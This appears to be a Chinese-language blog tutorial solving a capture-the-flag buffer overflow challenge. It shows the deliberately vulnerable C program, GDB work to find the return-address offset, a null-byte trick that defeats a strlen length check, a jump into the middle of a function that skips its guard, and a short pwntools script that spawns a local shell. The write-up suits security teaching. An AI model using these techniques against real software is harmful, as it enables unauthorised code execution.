文章目錄
- 前言
- 一、使用環境
- 二、程序源碼
- 1. C語言源碼
- 2. 編譯方式
- 三、源碼分析
- 四、反匯編分析
- 1. 檢查文件安全性
- 2. 查找目標函數
- 3. 計算偏移量
- 4. 繞過 strlen
- 5. 繞過 if
- 五、編寫EXP
- 結語
前言
直接進入正題
一、使用環境
處理器架構:x86_64
操作系統:Ubuntu24.04.2
GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
二、程序源碼
1. C語言源碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>void y0u_c4n7_533_m3()
{int allow = 0;if (allow) {execve("/bin/sh", 0, 0);}else {puts("Oh no~~~!");exit(0);}
}int main()
{char buf[16];puts("This is your second bof challenge ;)");fflush(stdout);read(0, buf, 0x30);if (strlen(buf) >= 16) {puts("Bye bye~~");exit(0);}return 0;
}
2. 編譯方式
gcc bof2.c -fno-stack-protector -no-pie -o bof2
三、源碼分析
從源碼可以看到,和上一篇相比區別不大,只是在 24 行和 9 行加了兩個驗證,所以這一篇的核心就是怎么繞過這兩個驗證。
四、反匯編分析
1. 檢查文件安全性
養成習慣:
和上一篇比沒有變化,不再多說。
2. 查找目標函數
函數地址在 0x400697
3. 計算偏移量
通過源碼可以知道,這個程序存在著 strlen
對輸入字符串長度的驗證,當字符串長度超過16時,程序會結束,所以沒辦法通過輸入超長字符串的方式來測試偏移量的位置,這里我就用我的老方法來計算了。
把斷點打在輸入字符串的下一行:
執行程序并輸入字符串,然后查看棧:
輸入字符串的位置在 0x7fffffffe050
,棧底在 0x7fffffffe060,所以跳轉的地址在 0x7fffffffe068
。偏移量為 0x18 ,和上一道題一樣。
4. 繞過 strlen
先來看一看反匯編:
雖然這里就算不懂匯編也可以輕松繞過,但還是簡單講一下匯編。
可以看到在 +52 處調用了 read ,在 +64 處調用了 strlen,+69 處在用 0xf 和 rax 進行比較(cmp是compare,比較指令),0xf 是 16,所以很容易判斷這里是在進行字符串長度和 16 的比較,也就可以判斷出 strlen 的返回值是保存在 rax 中的。
再下一條的 jbe(jump if below or equal) 表示的是小于等于則跳轉,跳轉到 main+97 ,才能執行到 leave 和 ret ,達成我們利用 ret 跳轉到指定地址的目的。如果此處不跳轉,則會執行一條 puts 的輸出,然后執行 exit 退出程序。
strlen 匯編的執行邏輯就不看了,學過C應該知道,這個函數的作用是計算字符串的長度,而字符串是以 \0 結尾的,也就是說 strlen 計算字符串的長度,只會計算到 \0 ,我們可以利用這個特性來繞過 strlen 對字符串長度的檢測。
先來測試一下:
在 main+57 處打斷點,然后執行程序,輸入計算偏移量的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
此時程序停在這個位置:
棧里是這個樣子:
我們知道字符串就是從 rsp 的位置開始的,所以直接修改字符串的第一個字符:
set {char}$rsp = '\x00'
修改后:
我們再在 ret 處打個斷點,然后執行:
可見此時雖然我們輸出的字符串長度是100,但是程序仍然執行到 ret 了,并沒有退出,此時已經繞過成功了。
5. 繞過 if
先看一眼目標函數的反匯編:
閱讀匯編代碼可以發現,是因為執行了 +19 處 je(jump if equal) 的跳轉,程序才調用了 puts 和 exit ,所以最簡單的思路就是,不要讓它跳,我們既然可以通過地址跳轉來執行函數,自然也可以通過地址跳轉直接進入到函數內的某一行,函數的開始地址在 0x400697
,但是我們可以直接從 0x4006ac
進入函數,來繞過它的判斷。
所以此時我們的目標地址是 0x4006ac
。
五、編寫EXP
理解了繞過原理就可以知道,其實和上一道題是大差不差的,我們直接把上一道題的 exp 拿過來修改一下:
from pwn import *context.arch = "amd64"
context.os = "linux"def exp():offset = 24func_addr = 0x4006acexp = b'\x00' + b'A' * (offset - 1) + p64(func_addr)with process('./bof2') as p:p.sendlineafter(b')', exp)p.interactive()if __name__ == '__main__':exp()
只修改了 func_addr 和 exp 的第一個字節。還有程序名。
執行:
成功。
結語
感謝關注評論點贊收藏。
還有兩篇,但難度要大很多,今天寫一部分,未必能寫完了,爭取明天全肝出來。